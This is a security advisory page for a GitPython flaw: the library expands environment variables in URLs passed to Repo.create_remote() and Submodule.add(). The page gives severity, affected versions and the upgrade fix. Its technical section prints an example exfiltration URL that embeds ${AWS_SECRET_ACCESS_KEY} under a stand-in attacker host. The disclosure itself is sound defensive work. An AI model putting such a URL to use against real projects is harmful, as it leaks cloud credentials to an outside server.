CVE-2026-73622: GitPython environment variable expansion in Remote.create() and Submodule.add()

CVE-2026-73622 · Severity: high · CVSS 7.5 · Published 2026-08-13

GitPython is a Python library for interacting with Git repositories. When developers use the public Repo.create_remote() or Submodule.add() APIs to add a remote repository from a URL, GitPython expands environment variable tokens (like ${AWS_SECRET_ACCESS_KEY}) in that URL before storing it in .git/config or .gitmodules. An attacker who controls the URL—for example, through a supply-chain compromise or social engineering—can steal secrets from the hosting environment by crafting URLs with embedded variable references that get transmitted to attacker-controlled servers during fetch or pull operations.

Technologies: Gitpython Project Gitpython, gitpython (PyPI). Vendors: Gitpython Project, PyPI.

Quick answers

Is CVE-2026-73622 exploited in the wild?
No. Junglewise Threat Intelligence has no report of CVE-2026-73622 being exploited in the wild.
How severe is CVE-2026-73622?
High severity, with a CVSS score of 7.5, published 13 August 2026.
Which products and versions are affected?
gitpython (PyPI) ECOSYSTEM:introduced=0,fixed=3.1.55.
Is there a fix for CVE-2026-73622?
Yes. gitpython (PyPI): upgrade to 3.1.55 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
How is CVE-2026-73622 attacked?
It is attacked over the network.
Am I affected by CVE-2026-73622?
Check whether you run Gitpython Project Gitpython or gitpython (PyPI) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

How to fix

  • gitpython (PyPI): upgrade to 3.1.55 or later
    pip install "gitpython>=3.1.55"

Technical details

GitPython's Git.polish_url() helper function expands shell-style environment variable references using os.path.expandvars() by default. A prior fix (GHSA-rwj8-pgh3-r573) added an expand_vars parameter and disabled it in Repo.clone_from(), but the same expansion still occurs in Remote.create() (called via Repo.create_remote()) and Submodule.add() because those callers invoke polish_url() with the default expand_vars=True. An attacker can supply a URL like http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git, which gets expanded to embed the process secret into .git/config or .gitmodules, then transmitted to the attacker's host when git fetch or pull is run. The vulnerability requires the attacker to control the URL passed to these public APIs (e.g., via a compromised dependency or social engineering) but needs no authentication or special user interaction beyond a normal fetch/pull operation. Patches are available in GitPython 3.1.55 and later.

Affected products

  • GitPython GitPython before 3.1.55

Identifiers

  • CVE-2026-73622
  • GHSA-94p4-4cq8-9g67
  • PYSEC-2026-3951

Timeline

  • 2026-07-23: disclosed
  • 2026-07-16: patched

References

This page as Markdown. Free to reuse under CC BY 4.0 with a link back.